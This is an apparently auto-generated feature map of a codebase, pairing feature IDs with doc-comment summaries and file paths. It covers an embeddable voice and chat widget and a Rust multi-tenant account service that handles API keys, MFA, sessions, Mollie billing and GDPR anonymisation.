- **`embed.ui.error-screen`** — Error screen — shown when the connection drops or times out, AND (as the `unavailable` / `rateLimited` variants) when the session bootstrap is rejected or temporarily rate-limited. Design (INTERACTION-STATES-SPEC §4): direct copy ("Lost the connection."), message preserved, auto-retry + manual "Retry now". No "Oops!". Variants: - `"connection"` (default): a transient drop — "Lost the connection." + "Reconnecting automatically…". - `"unavailable"`: a TERMINAL 4xx session bootstrap (unknown/paused widget, origin not allowed, …). The server said no — promising an automatic reconnect would be theater, so the copy is honest ("This widget isn't available right now.") and only the manual Retry remains. - `"rateLimited"`: a TEMPORARY 429 at session bootstrap (too many session creates in a short window — per-session/minute, NOT the terminal `unavailable` rejection above). Warm copy ("Just a moment.") + a live countdown the caller (`ChatModal`) drives by updating the element the `data-oa-countdown` marker identifies; `initialSeconds` renders the correct FIRST value so there's no placeholder flash. The manual Retry button still renders (never dead-end if the auto-retry timer is throttled, e.g. a backgrounded tab).  
  *embed-widget/src/ui/error-screen.ts:2*
- **`embed.ui.lead-capture`** — Unit tests for the lead-capture form's validation feedback (audit fix wave 1 #3 — previously ONLY `aria-invalid` + focus were set on an invalid `[aria-invalid]` CSS rule exists and theme.css is out of scope this wave). Drives `createLeadCaptureEl` directly (no full Widget mount needed).  
  *embed-widget/test/lead-capture.test.ts:2*
- **`embed.ui.lead-capture`** — Lead capture form — inline name + work-email form shown when the agent detects conversion intent (REQUEST_LEAD event). Design: form lives in the chat — no redirect, no modal. EU-storage micro-note. Submits → LEAD_DONE event.  
  *embed-widget/src/ui/lead-capture.ts:2*
- **`embed.ui.skeleton`** — Skeleton shimmer — shown during the "connecting" phase ("Waking Lily…"). Follows INTERACTION-STATES-SPEC §4: skeleton rows with shimmer, never a blank box. Never a spinner.  
  *embed-widget/src/ui/skeleton.ts:2*
- **`embed.ui.voice-bar`** — Unit tests for the volume popover's Escape-to-close keyboard behaviour (audit fix wave 1 #9). Previously only an outside pointerdown could close the popover — a keyboard-only visitor tabbed into the slider/mute button had no way to dismiss it short of tabbing all the way past. Drives `createVoiceBarEl` directly (no full Widget mount needed).  
  *embed-widget/test/voice-bar.test.ts:2*
- **`embed.ui.voice-bar`** — Voice bar — the bottom control strip shown in voice surface and voice-only mode. Composition: ow-cap   — live caption (no turn label — removed as a duplicate of the header top-left status, see the comment below) ow-chips — quick-reply chips (voice variant, centered) ow-controls — [chat toggle] [sakura mic ring + mic button] [mute] For voice-only render mode, swaps the figure for the pulsing orb + equalizer.  
  *embed-widget/src/ui/voice-bar.ts:2*

### embed/voice
- **`embed.voice`** — Page-wide single-active voice coordinator. A marketing page can mount SEVERAL widget instances (e.g. an inline hero demo + a showpiece + the site's own corner launcher). Each is an isolated Shadow-DOM widget, but they all share THIS module (one loaded bundle per page), so a module-level slot is the simplest reliable way to guarantee the invariant the product needs: **only one live voice call at a time** — one open mic, one speaking agent. Without it, tapping a second widget's orb while the first is live would run two microphones and two overlapping TTS voices. Each widget passes a `holder` (a stable per-instance token carrying a `stop()` that tears its own call down to idle). Acquiring the slot displaces whoever held it; releasing only clears the slot if the caller still owns it (so a stale release from an already-displaced widget is a no-op).  
  *embed-widget/src/client/voice-coordinator.ts:2*
- **`embed.voice`** — Page-wide single-active voice coordinator: only one widget may hold a live mic/voice call at a time; claiming the slot displaces the previous holder.  
  *embed-widget/test/voice-coordinator.test.ts:2*

### embed/voice-capture
- **`embed.voice-capture`** — VoiceCapture — thin wrapper around getUserMedia + MediaRecorder for one push-to-talk voice turn. Records audio into a single Blob, then hands it to the caller (which posts it to the STT endpoint and feeds the transcript through the normal turn path). Design notes: - ONE recorder per turn: start() opens the mic + records; stop() resolves with the assembled Blob. The mic track is stopped after each turn so the browser's "recording" indicator clears between turns (privacy: we only listen while a turn is active, matching the mic-permission copy). - MIME negotiation: prefer audio/webm;codecs=opus (Chromium/Firefox), then audio/webm, then audio/ogg, then audio/mp4 (Safari). The agent-lite STT route maps the Content-Type to the router's audio-format hint, and falls back to upstream auto-detect for unknown containers. - Graceful degradation: isSupported() lets the caller decide up front; a permission denial / missing API rejects start() so the widget can fall back to text. Framework-free + DOM-light so it unit-tests with a mocked navigator.mediaDevices + MediaRecorder.  
  *embed-widget/src/client/voice-capture.ts:2*

### embed/voice-playback
- **`embed.voice-playback`** — VoicePlayback — plays a TTS audio Blob through a single reused HTMLAudioElement and reports speaking start/end so the orchestrator can set the avatar/orb state to "speaking" while audio plays. Autoplay: browsers gate audio playback behind a user gesture. In voice mode the visitor's mic tap is that gesture, so playback initiated in response to a turn the visitor spoke is allowed. We still catch a rejected play() and resolve gracefully (no throw) so a blocked autoplay never breaks the turn — the text + visual reply is already shown. One element is reused across turns; a new turn cancels any in-flight playback (so the agent doesn't talk over itself).  
  *embed-widget/src/client/voice-playback.ts:2*

### embed/voice-session
- **`embed.voice-session`** — ContinuousVoiceSession — orchestrates hands-free "call mode" voice capture so the widget feels like a phone call: the mic opens ONCE and stays open, an EnergyVad watches for speech, and each detected utterance is handed back as a Blob for the normal STT → turn → TTS pipeline. No push-to-talk button. Lifecycle: start()  → getUserMedia (echoCancellation/noiseSuppression/autoGainControl) + a shared AudioContext, then run the VAD over the live stream. …on speech onset  → spin up a MediaRecorder segment. …on speech offset → stop the recorder, assemble the Blob, fire onUtterance. The mic stays open for the next utterance. stop()   → fully close the mic (track.stop()) + AudioContext. mute()/unmute() → pause/resume the VAD without releasing the mic. visibilitychange → auto-mute/unmute the SAME way while the tab is hidden (voice-audit #11), so a throttled background-tab setInterval never drives the endpointing FSM on stale frames; unmute()'s recalibration (via EnergyVad.resume()) throws away whatever happened while backgrounded. Never overrides a visitor's own manual mute — only auto-resumes a pause it caused itself. Contrast with VoiceCapture (push-to-talk): VoiceCapture opens a fresh mic per turn and is driven by button taps. This session keeps ONE mic open for the whole call and is driven by the VAD. Both negotiate the same recording MIME. Graceful degradation: if getUserMedia / AudioContext are unsupported (or the mic is denied), start() throws so the widget falls back to push-to-talk. Echo / barge-in: echoCancellation is requested so the agent's own TTS doesn't loop back into the mic; true barge-in (cancelling in-flight playback + turn) is handled by the widget reacting to onSpeechStart while speaking.  
  *embed-widget/src/client/voice-session.ts:2*
- **`embed.voice-session`** — Unit tests for ContinuousVoiceSession's `visibilitychange` wiring (voice-audit #11): EnergyVad's 30ms setInterval loop gets throttled in background tabs, so a live call must pause cleanly on `hidden` and resume (recalibrating the noise floor) on `visible` — using the SAME mute()/ unmute() pair the manual mic-mute button already drives, and never overriding a visitor's own deliberate mute. Drives the REAL ContinuousVoiceSession class against minimal fakes for the browser media/audio APIs jsdom doesn't implement (getUserMedia, AudioContext, MediaRecorder) — just enough surface for `start()` to succeed and EnergyVad's own `start()` to build its analyser tap without throwing. The endpointing state machine itself is already covered by test/vad.test.ts; this file is about the visibilitychange PLUMBING.  
  *embed-widget/test/voice-session-visibility.test.ts:2*

### embed/voice-vad
- **`embed.voice-vad`** — EnergyVad — an energy-based Voice Activity Detector with automatic endpointing, used by the hands-free "call mode" voice session to decide when the visitor STARTS and STOPS speaking (so there's no push-to-talk button). Design notes: - SWAPPABLE BY DESIGN: callers depend only on `VadCallbacks` + `start/stop/pause/resume/active`. The internals here are a cheap RMS-over- threshold detector; a future Silero/ONNX VAD will drop in behind the same surface without touching ContinuousVoiceSession. - It does NOT own the mic. The caller passes an already-open MediaStream + a shared AudioContext (kept open for the whole call), and the VAD only builds an AnalyserNode tap off the stream. Tearing down the VAD (`stop()`) disconnects its nodes but never touches the stream/context. - Ambient calibration: the first ~400ms of frames estimate a noise floor; the speech threshold is `max(noiseFloor * 2.5, MIN_FLOOR)`. The floor then tracks slowly-changing background noise via an EMA over sub-threshold frames, so a noisy room (fan, traffic) doesn't latch the VAD "open". - Endpointing debounce: RMS must stay above threshold for START_MS before we call it speech (rejects clicks/pops), and below threshold for HANGOVER_MS before we call it silence (rides over the natural pauses between words so we don't cut a sentence in half). RMS math mirrors voice-playback's analyser loop (centred byte time-domain data → root-mean-square) so amplitude is comparable across the two paths. Framework-free + DOM-light: the analyser + clock are injectable, so the endpointing state machine unit-tests without a real AudioContext (see test/vad.test.ts).  
  *embed-widget/src/client/vad.ts:2*

### embed/ws-client
- **`embed.ws-client`** — Unit tests for widget/voice.ts's dead-end recovery fixes (audit fix wave 1 #5a, #6, #7, #8): a TTS synth failure, a denied/failed mic, the STT/LLM "thinking" window, and a real call ending must all leave the voice surface with a caption/status the visitor can actually read — never silently pinned on "Thinking…" forever. Drives the exported voice.ts functions directly against a minimal fake WidgetCore (see test/barge-in.test.ts's file doc comment for why this level — not a full Widget mount — is the right one: none of this touches the FSM or the real DOM beyond the modal mock's calls).  
  *embed-widget/test/voice-recovery.test.ts:2*
- **`embed.ws-client`** — widget/backend-events — the backend-event reducer for the Widget reconnecting/recovered/error, tool_activity/ui_action/escalate, and the quota-block affordance. Split out of widget.ts (god-file split #649). Each function is moved VERBATIM from the corresponding Widget method — the only change is `this.` → `self.`. ZERO behaviour change.  
  *embed-widget/src/widget/backend-events.ts:2*
- **`embed.ws-client`** — widget/voice — voice surface behaviour for the Widget orchestrator: push-to-talk capture → STT → normal turn → TTS playback, plus hands-free "call mode" (VAD + barge-in), the thinking-filler clips, and the spoken-reply playback wiring. Split out of widget.ts (god-file split #649). Each function is moved VERBATIM from the corresponding Widget method — the only change is `this.` → `self.` (the Widget instance is now the explicit first parameter). ZERO behaviour change.  
  *embed-widget/src/widget/voice.ts:2*
- **`embed.ws-client`** — Unit tests for DUCK-AND-CONFIRM barge-in (NAO 2026-07-08, widget/voice.ts handleBargeIn / handleUtterance) and its v2 PAUSE-AND-CONFIRM stage (founder 2026-07-10): 0ms duck → ~350ms sustained local speech PAUSES playback in place → STT confirms (full cut) or denies (RESUME from the held position) → the 900ms sustained escalation stays as the outer fallback. These drive the exported voice.ts functions directly against a minimal fake `WidgetCore` (the structural interface every `widget/` submodule receives as `self` — see widget/widget-core.ts) rather than mounting a full Widget: the barge-in decision logic doesn't touch the DOM, the FSM, or the network beyond `backend.transcribe`, so a focused fake keeps the tests fast and the assertions aimed at exactly the new behaviour. `voicePlayback` is the REAL VoicePlayback class (with `Audio`/`URL` stubbed, same pattern as test/voice.test.ts) so duck()/unduck()/cancelAll() are genuinely exercised, not mocked away.  
  *embed-widget/test/barge-in.test.ts:2*
- **`embed.ws-client`** — WsClient — WebSocket client connecting to openalice-agent-lite. WHY a thin wrapper rather than raw WebSocket: adds automatic reconnect with exponential backoff, tenant/agent routing via URL params, and a clean event-emitter interface matching MockBackend so the widget layer never knows which backend it's talking to. v0.1 is a skeleton with correct connection lifecycle. v0.2 will add: - JSON message framing (openalice-agent-lite wire protocol) - Streaming token delivery - TTS audio chunk handling - Reconnect backoff  
  *embed-widget/src/client/ws-client.ts:2*
- **`embed.ws-client`** — CHAT VOICEOVER (founder 2026-07-09, 11labs comparison): replies to TYPED turns on the chat surface speak aloud through the same TTS path voice turns use. These tests drive the exported voice.ts functions + the backend-events wiring against a minimal fake WidgetCore (the established level for this module — see test/voice-recovery.test.ts's file doc comment) and lock every gating rule: - default ON for a voice-capable widget (synthesize + non-text-only + consent), OFF via config.chatVoiceover=false / data-chat-voiceover; - autoplay policy: only after a real visitor gesture (userGestureSeen); - deafen respected: muted ⇒ the reply is not even synthesised; - chat-side barge-in: a NEW typed turn cancels current playback and invalidates any in-flight synth (chatSpeakGen); - never in human mode / off the chat surface / for voice turns (those keep the existing speakReply path).  
  *embed-widget/test/chat-voiceover.test.ts:2*

### tenants/account
- **`tenants.account.api-keys`** — Self-scoped, any authenticated user: personal API-key management (list / create-once / revoke). A thin proxy onto openalice-auth's X-Internal-Secret-gated, user_id-keyed /internal/users/{id}/api-keys siblings — the canonical key store (Argon2/ SHA-256 HASH + prefix + scopes, NEVER plaintext) lives in auth, exactly like the change-password + sessions seams. Create returns the plaintext key ONCE (auth shows it on mint only; thereafter the store holds the hash and the key can never be retrieved again). List reflects the live rows with NO key material — only id/name/prefix/scopes/created_at/last_used_at. Revoke genuinely deletes the row so the key stops authenticating. # Where the key store actually lives tenants owns no API keys of its own — the hash + prefix + scopes live in openalice-auth's `api_keys` table. The public surface (when it lands) gates on the auth bearer, which a tenants-minted dashboard JWT can't present, so — exactly like change-password and sessions — we re-key against auth's `X-Internal-Secret`-gated, `user_id`-scoped internal siblings: * `GET    /internal/users/{id}/api-keys` * `POST   /internal/users/{id}/api-keys` * `DELETE /internal/users/{id}/api-keys/{key_id}` Self-scoped (any authenticated user, NOT the tenant "owner" team role) + IDOR-safe: every call is keyed by `auth.user_id` (the auth- side identity of the JWT bearer), so a caller can only ever see / mint / revoke their OWN keys — the `{id}` path segment is the KEY id, resolved by auth scoped to that user, so a key id belonging to another user is a clean 404 (never a caller-controlled USER id).  
  *embed-accounts/src/handlers/me/api_keys.rs:7*
- **`tenants.account.change-password`** — Dashboard owner self-serve change-password (POST /me/account/password). Authed via the dashboard JWT; enforces an 8..=128 strength rule (matching the public reset proxy) and rejects a no-op change, then proxies to openalice-auth's X-Internal-Secret-gated /internal/users/{id}/change- password — which verifies the CURRENT password against the stored Argon2id hash (same verify_password as login), writes the new Argon2id hash (same hash_password as reset), and invalidates every pre-change session via the password-floor bump. Wrong current password surfaces auth's 403 verbatim. Distinct from SCIM changePassword (declared unsupported — that's the IdP-driven path).  
  *embed-accounts/src/handlers/me/account.rs:17*
- **`tenants.account.mfa`** — Self-scoped, any authenticated user: TOTP (RFC-6238) second-factor management (setup / activate / disable). A thin proxy onto openalice-auth's X-Internal-Secret-gated, user_id-keyed /internal/users/{id}/mfa/* siblings — the canonical MFA state lives in auth (TOTP secret ENCRYPTED at rest via auth's existing cipher, backup codes HASHED), exactly like the change-password + sessions seams. Setup returns the secret + otpauth_uri + plaintext backup codes ONCE (state pending, NOT enabled). Activate verifies a fresh TOTP code (±1-step skew, constant-time) and flips mfa_enabled true. Disable re-verifies a code or the password before clearing the secret + backup codes. The LOGIN-time MFA challenge (mfa_required → verify a TOTP-or-backup code) is a separate public flow wired through the login proxy + embed-app, not this management surface. # Where the MFA state actually lives tenants stores no MFA material of its own — the encrypted TOTP secret + hashed backup codes + the `mfa_enabled` flag all live on auth's `users` row. auth's public `/auth/mfa/*` endpoints gate on the auth bearer (which a tenants-minted dashboard JWT can't present), so — exactly like change- password and sessions — we re-key against auth's `X-Internal-Secret`-gated, `user_id`-scoped internal siblings: * `POST /internal/users/{id}/mfa/setup` * `POST /internal/users/{id}/mfa/activate` * `POST /internal/users/{id}/mfa/disable` Self-scoped (any authenticated user, NOT the tenant "owner" team role) + IDOR-safe: every call is keyed by `auth.user_id` (the auth- side identity of the JWT bearer), never a caller-controlled id, so a caller can only ever enroll / activate / disable MFA on their OWN account.  
  *embed-accounts/src/handlers/me/mfa.rs:9*
- **`tenants.account.profile-edit`** — Owner-only profile edit (PATCH /me/tenant): update display_name (1..=120) and/or owner_email. Email is validated + lowercased, synced to openalice-auth's canonical users.email FIRST (X-Internal-Secret PATCH /internal/users/{id}/email) so a 409 duplicate aborts before the local mirror moves — the two never diverge — and auth resets email-verification on change (new address unverified until re-verified). COALESCE update so a PATCH touches only the supplied columns. Owner-scoped via require_role.  
  *embed-accounts/src/handlers/me/tenant.rs:10*
- **`tenants.account.sessions`** — Owner-scoped active-session management (GET /me/sessions + DELETE /me/sessions/{id}). A thin proxy onto openalice-auth's REAL refresh_sessions store via X-Internal-Secret, user_id-keyed internal siblings of /auth/sessions. List reflects live rows; revoke genuinely kicks the device (marks the row revoked + blacklists its jti so the next /auth/refresh fails). Constraint: no "current device" flag on this surface (the request reaches auth from tenants, not the user's browser) so `current` is always false — everything else is the genuine multi-session capability, not a single-session stub. # Where the session store actually lives Auth in this ecosystem is NOT stateless-only: openalice-auth keeps a REAL session store — the `refresh_sessions` table, one row per browser/device login, with revocation backed by a per-jti blacklist + the password-floor watermark. tenants owns no sessions of its own (it mints only the short-lived dashboard JWT), so this surface is a thin owner-scoped proxy onto auth's session store, exactly like the verify-email + change-password seams. The public `/auth/sessions` endpoints gate on a bearer `AuthUser` that needs the `jti` claim a tenants-minted JWT lacks, so we re-key against auth's `X-Internal-Secret`-gated, user_id-scoped internal siblings: * `GET    /internal/users/{id}/sessions` * `DELETE /internal/users/{id}/sessions/{session_id}` # Real vs constrained Fully real: the list reflects the actual live `refresh_sessions` rows, and a revoke genuinely kicks that device (the next `/auth/refresh` from it fails). The ONE constraint vs the native `/auth/sessions` view: there is no "current device" marker — the request reaches auth from tenants, not the user's browser, so auth can't match the requester's user-agent. The `current` flag is therefore always `false` here. Everything else is the genuine multi-session capability, not a faked single-session stub.  
  *embed-accounts/src/handlers/me/sessions.rs:6*

### tenants/agents
- **`tenants.agents.registry`** — Operator-tier (X-Internal-Secret) POST /agents/register and POST /agents/{id}/keys/rotate. Each agent declares capability strings; live-control validates the pairing's granted permissions before dispatching any ToolCall. API keys are 48-byte base64url, stored as SHA-256 hex — shown once at registration. GET /agents/marketplace surfaces public, non-revoked agents for user discovery in /studio/settings. key-entropy: 384 bits Two audiences: * **Agent operators** (Hermes / OpenClaw / future products): `POST /agents/register`, `POST /agents/<id>/keys/rotate`. * **OpenAlice users**: `GET /agents/marketplace` (browse public agents to pair with), `GET /me/agents` (my pairings), `POST /me/agents/<id>/pair`, `DELETE /me/agents/<id>`. Every agent declares **capabilities** — a list of ToolCall-shape strings the agent claims it can drive. live-control's dispatcher checks the requested ToolCall against the pairing's permissions before dispatching, so an agent can't smuggle a `terminal` call into a tenant who only granted `respond + set_mood`. API keys: 32 random bytes, base64url-encoded → presented to the operator once at registration. Stored as a raw SHA-256 hash — the key itself has 256 bits of entropy so we don't need an argon2-grade KDF; the hash is just an irreversibility step so a database leak doesn't hand attackers the live keys.  
  *embed-accounts/src/handlers/agents.rs:3*

### tenants/billing
- **`tenants.billing.dunning-email`** — Dunning-email delivery via Brevo (same transactional-email provider + HTTP shape as openalice-agent-lite's mailer): POST and JSON { sender, to, subject, htmlContent }. Now the DELIVERY half of a durable `dunning_email` job (crate::jobs) enqueued by the Mollie webhook when a failed/expired/canceled charge flips a tenant `past_due`. Returns Err on a retryable delivery failure (transport / non-2xx) so the queue retries + dead-letters; returns Ok on success and on the terminal log-fallbacks (no recipient / no BREVO_API_KEY — the dark-ship default). Sender address/name from `BREVO_SENDER_EMAIL` / `BREVO_SENDER_NAME` (defaults `no-reply@openalicelabs.com` / `OpenAlice`). The `past_due` flag (persisted before enqueue) is what gates service; this makes the NOTIFICATION durable so the stop is never silent.  
  *embed-accounts/src/handlers/billing.rs:498*
- **`tenants.billing.me-surface`** — JWT-gated /me/billing surface for OpenAlice Embed. GET returns the current plan + monthly message usage + the full plan catalog (with prices/quotas) + a `billing_enabled` flag. POST /me/billing/checkout creates a Mollie customer (once) + a first-charge payment for the target paid tier and returns the hosted-checkout URL the dashboard redirects to. FEATURE-FLAGGED on MOLLIE_API_KEY: when unset, GET still reports Free defaults and checkout returns 503 so the UI shows "billing coming soon" instead of crashing. Free→free is a no-op 200. Routes: * `GET  /me/billing`           — current plan + usage + catalog. * `POST /me/billing/checkout`  — start a Mollie checkout for a tier.  
  *embed-accounts/src/handlers/me/billing.rs:3*
- **`tenants.billing.plan-catalog`** — Embed SaaS plan catalog v2 (starter €49 / pro €249 / business €799 — NO free tier) — per-plan conversation, voice-second, widget and KB-page caps matching the live landing pricing — plus the MOLLIE_API_KEY / MOLLIE_WEBHOOK_SECRET feature-flag config. Single source of truth for every limit; `None` = unlimited; voice `Some(0)` = no voice on plan.  
  *embed-accounts/src/billing.rs:45*
- **`tenants.billing.prepaid-debit`** — Atomic prepaid-balance debit: reads the current balance and, inside the same transaction, decrements it and inserts a 'debit' ledger row only when balance >= amount. Returns Ok(true) on success, Ok(false) when insufficient funds (no mutation). Guards against amount_cents <= 0. Mirrors credit_prepaid_balance exactly.  
  *embed-accounts/src/handlers/billing.rs:757*
- **`tenants.billing.prepaid-topup`** — JWT-gated prepaid PAYG top-up flow. POST /me/billing/topup validates the requested amount (min €5 / max €1,000), creates a Mollie one-off payment with metadata `kind=topup` + `amount_cents`, and returns the hosted checkout URL. GET /me/billing/balance returns the current wallet balance (prepaid_balance_cents) and the last 20 transactions from tenant_balance_transactions (newest first). Both endpoints are FEATURE- FLAGGED on MOLLIE_API_KEY (same gate as plan checkout): topup returns 503 when billing is not configured; balance always works (shows 0 / empty). # @feature tenants.billing.balance-read GET /me/billing/balance — wallet balance + recent transactions (last 20, newest first). Returns { prepaid_balance_cents, recent_transactions: [] }. Never fails on a missing billing row (shows 0 + empty list). Owner-only for topup; balance read is open to all authenticated tenant members.  
  *embed-accounts/src/handlers/me/topup.rs:3*
- **`tenants.billing.webhook`** — POST /internal/billing/webhook — Mollie payment webhook. Verifies the X-Mollie-Signature HMAC via openalice-mollie, fetches the referenced payment, and on `paid` promotes the tenant_billing row to the target plan (active + new monthly quota + period window) and starts the recurring Mollie subscription off the established mandate; on failed/expired/canceled it marks the row past_due/canceled. Maps the tenant via the payment metadata, falling back to mollie_payment_id. FEATURE-FLAGGED on MOLLIE_API_KEY/SECRET — without them the webhook rejects everything (no secret ⇒ 401) and never mutates state. # @feature tenants.billing.internal-lookup GET /internal/tenants/{id}/billing (X-Internal-Secret) — exposes a tenant's Embed plan + monthly message quota + usage so a future quota-enforcement hook (e.g. in agent-lite) can read it server-side. Returns Free defaults when the tenant has no billing row. This wave only EMITS the data; enforcement + the usage increment are a documented follow-up (NOT wired into agent-lite here). # @feature tenants.billing.consume POST /internal/billing/consume (X-Internal-Secret) — atomic per-message usage RECORDER for OpenAlice Embed. Body { tenant_id, n? = 1 }. In ONE round-trip it lazily creates the Free-default row when absent, rolls the monthly period when period_started_at is older than 30 days (resets ALL per-period counters + period_started_at), increments messages_used_this_period by n, and returns { allowed, plan, monthly_message_quota, messages_used, billing_active }. Since pricing v2, `allowed` is ALWAYS true: conversations (not messages) are the enforced unit, and the FAQ promise is that a visitor mid-conversation is NEVER cut off. Messages stay recorded for analytics. # @feature tenants.billing.conversation-meter POST /internal/billing/conversation/start (X-Internal-Secret) — atomic per-conversation meter + SOFT-STOP gate for pricing v2. Body { tenant_id }. Lazily creates the Free row, applies the shared lazy 30-day period rollover, increments conversations_used_this_period by 1 and returns { allowed, plan, monthly_conversation_quota, conversations_used }. `allowed` is false when the post-increment count exceeds the plan's conversation quota — INDEPENDENT of the Mollie feature flag (Phase 1 enforces caps before payment flows exist). agent-lite calls this at the embed session bootstrap; a denied start still opens the session but answers with a static soft-stop reply. # @feature tenants.billing.voice-meter POST /internal/billing/voice/consume (X-Internal-Secret) — atomic per-tenant synthesized-voice meter. Body { tenant_id, seconds? = 0 }. seconds=0 is a pure pre-flight check (no increment); seconds>0 adds to voice_seconds_used_this_period (same lazy rollover). Returns { allowed, plan, voice_seconds_quota, voice_seconds_used } where `allowed` means "budget remains for a next synthesis" (used < quota; quota NULL = unlimited, 0 = plan has no voice). agent-lite gates the embed TTS path on the pre-flight and falls back to text-only (204) — never a hard error.  
  *embed-accounts/src/handlers/billing.rs:4*

### tenants/crate
- **`tenants.crate.control-plane`** — Rust/Axum service (port 3990) that owns workspace lifecycle, per-tenant quota accounting, agent registry, GDPR export/delete and append-only audit log for the entire OpenAlice SaaS platform. This crate is the foundation of the OpenAlice multi-tenant SaaS pivot. It owns: * **Tenant lifecycle** — signup, plan changes, suspension, scheduled deletion (with 30-day grace), hard delete. * **Quota accounting** — per-tenant resource counters that usage_event rollups feed into. * **Agent registry** — third-party agents (Hermes, OpenClaw, and our own Alice native) register here, get an API key, declare capabilities, and pair with consenting tenants. * **GDPR endpoints** — `/me/export` (async ZIP job) and `/me/account DELETE` (cascading cleanup + 30-day grace). * **Audit log** — append-only tenant action history, queryable by tenant + admin. * **Consent toggles** — per-feature opt-in (recording, long-term memory, paired-agent permissions, analytics). Service-to-service: all internal POSTs (other openalice services reporting usage events, asking for tenant claims, etc.) go through `X-Internal-Secret` matching the cluster's INTERNAL_BROADCAST_SECRET. Public endpoints (`/me/*`, `/agents/marketplace`) require a JWT bearer with a valid `tid` claim.  
  *embed-accounts/src/lib.rs:3*

### tenants/crypto
- **`tenants.crypto.cipher`** — AES-256-GCM cipher for `widget_secrets`. Wire format is `[12-byte random nonce][ciphertext+tag]` — byte-identical to the org reference impl (openalice-wt-8mmmm-agi crypto + persona Cipher). The 32-byte master key loads from `OA_SECRETS_MASTER_KEY` as a 64-char lowercase hex string at boot. If the var is set but malformed the process fails fast; if it is UNSET the cipher is simply absent (`None`) and the secrets endpoints return 503 rather than crashing boot — the rest of the service stays up. The plaintext (client API keys) is never logged, never serialised into any `/me` response or agent config, and only ever returned to agent-lite over the X-Internal-Secret-gated internal read endpoint.  
  *embed-accounts/src/crypto.rs:3*

### tenants/experiments
- **`tenants.experiments.crud`** — Tenant-scoped CRUD for widget_experiments + experiment_variants (§experiments). The client defines an experiment (one active per widget) with weighted variants, each carrying a config_overlay restricted to a hard SAFE_OVERLAY_FIELDS allow-list (greeting, greeting_enabled, persona_script, llm_model, locale). Unknown overlay keys ⇒ 400. agent-lite assigns deterministically + applies the overlay; this service only owns the definition. Every write is audit-logged. Routes (all under the JWT + rate-limit /me layer, tenant-scoped): * `GET    /me/experiments?widget_id=`             — list (own only). * `POST   /me/experiments`                        — create. * `GET    /me/experiments/{exp_id}`               — get (+ variants). * `PATCH  /me/experiments/{exp_id}`               — name/status. * `DELETE /me/experiments/{exp_id}`               — delete (cascades). * `GET    /me/experiments/{exp_id}/variants`      — list variants. * `POST   /me/experiments/{exp_id}/variants`      — add a variant. * `PATCH  /me/experiments/{exp_id}/variants/{var_id}` — edit a variant. * `DELETE /me/experiments/{exp_id}/variants/{var_id}` — delete a variant. Security: config_overlay is allow-list-validated HERE (write) and re-guarded in agent-lite (read). consent/privacy/tools/domains/retention/escalation/ memory fields are NEVER overridable by an experiment — they're rejected 400.  
  *embed-accounts/src/handlers/me/experiments.rs:3*

### tenants/feature-flags
- **`tenants.feature-flags`** — Per-tenant feature-flag overrides over code defaults. Modelled on Laravel Pennant: flags are resolved against the TENANT scope (the billing/quota boundary), carry RICH JSONB values (boolean kill-switch, config string/number, or an A/B variant object — not just on/off), and fall back to a code default when a tenant has no override. The set of flags that EXIST is owned by the code registry [`FLAGS`]; a `feature_flags` row is only an override. This lets us gradually roll a feature, gate a per-tenant beta, kill a broken feature, or A/B a variant WITHOUT a redeploy. # Wire surface GET    /me/flags          — resolved flags for the caller's workspace (any role). PUT    /me/flags/{key}    — set an override (owner/admin; key must be known). DELETE /me/flags/{key}    — clear an override → revert to the code default (owner/admin). # IDOR / RLS Every query is scoped by `account_id = auth.tenant_id()` and runs under the FORCE'd `feature_flags_isolation` policy (migration 0056), so a tenant can never read or mutate another tenant's overrides.  
  *embed-accounts/src/handlers/me/flags.rs:3*

### tenants/gdpr
- **`tenants.gdpr.anonymize-sweeper`** — Tokio background task (60s interval) that walks the tenants_anonymize_ready_idx partial index (FOR UPDATE SKIP LOCKED), replaces owner_email + display_name with deterministic SHA-256-based stubs, nullifies audit_log.actor_id, revokes active agent pairings — all in a single transaction. Satisfies GDPR Art. 17 while preserving analytics time-series integrity. pii-scrub: [owner_email, display_name, actor_id] Why anonymize-not-delete: * GDPR right-of-erasure is satisfied as long as the data is no longer linkable to a natural person. Removing email, name, and IP hashes from a row achieves that. * Keeping the row lets analytics still answer "X% of tenants used feature Y this quarter" — without that, every churn event would punch a hole in the time series. * Audit history (signup, consent flips, agent pairings) remains intact, with actor_id cleared so investigators can reconstruct *patterns* without identifying individuals. Scrubbing rules: * tenants.owner_email   → `deleted-<short-hash>@anonymized.local` * tenants.display_name  → `Deleted User <short-hash>` * tenants.status        → `deleted_anonymized` * tenants.deleted_at    → now() * audit_log.actor_id    → NULL for rows of this tenant * audit_log.payload_summary → preserved; senders are responsible for not putting raw PII in the summary. The schema doc + middleware enforce that contract. * tenant_consent → row stays as-is (toggle history is not PII; just feature-flag-shaped). * tenant_quotas         → kept (analytics). * agent_pairings        → revoked_at set if active. Operationally a Tokio task wakes up every 60 s, scans the partial index `tenants_anonymize_ready_idx`, anonymizes one row per loop. Single-row-per-tick keeps per-loop work bounded so the pool isn't starved by an unexpected backlog.  
  *embed-accounts/src/anonymize.rs:5*
- **`tenants.gdpr.export-signed-url`** — Stateless HMAC-SHA256 signed download tokens for completed GDPR export ZIPs. A token binds (tenant_id, job_id, expiry) and is verified at the public `GET /me/export/{job_id}/download` boundary so the ZIP can be fetched without a JWT (e.g. from an email link) while still being unforgeable + auto-expiring. Default TTL 7 days. Wire format of the token (URL-safe, no padding base64): ```text base64url(tenant_id "." job_id "." expiry_unix) "." base64url(hmac) ``` The HMAC is taken over the canonical `tenant_id.job_id.expiry_unix` payload with the cluster download-signing key. Verification is constant-time (the `hmac` crate's `verify_slice`), rejects expired tokens, and — critically — re-binds the recovered `tenant_id` + `job_id` so a valid token for one job can never be replayed against another tenant's ZIP path. The signing key is NOT a user secret and never leaves the server; the token carries no decrypted client secrets or key material.  
  *embed-accounts/src/export/sign.rs:3*
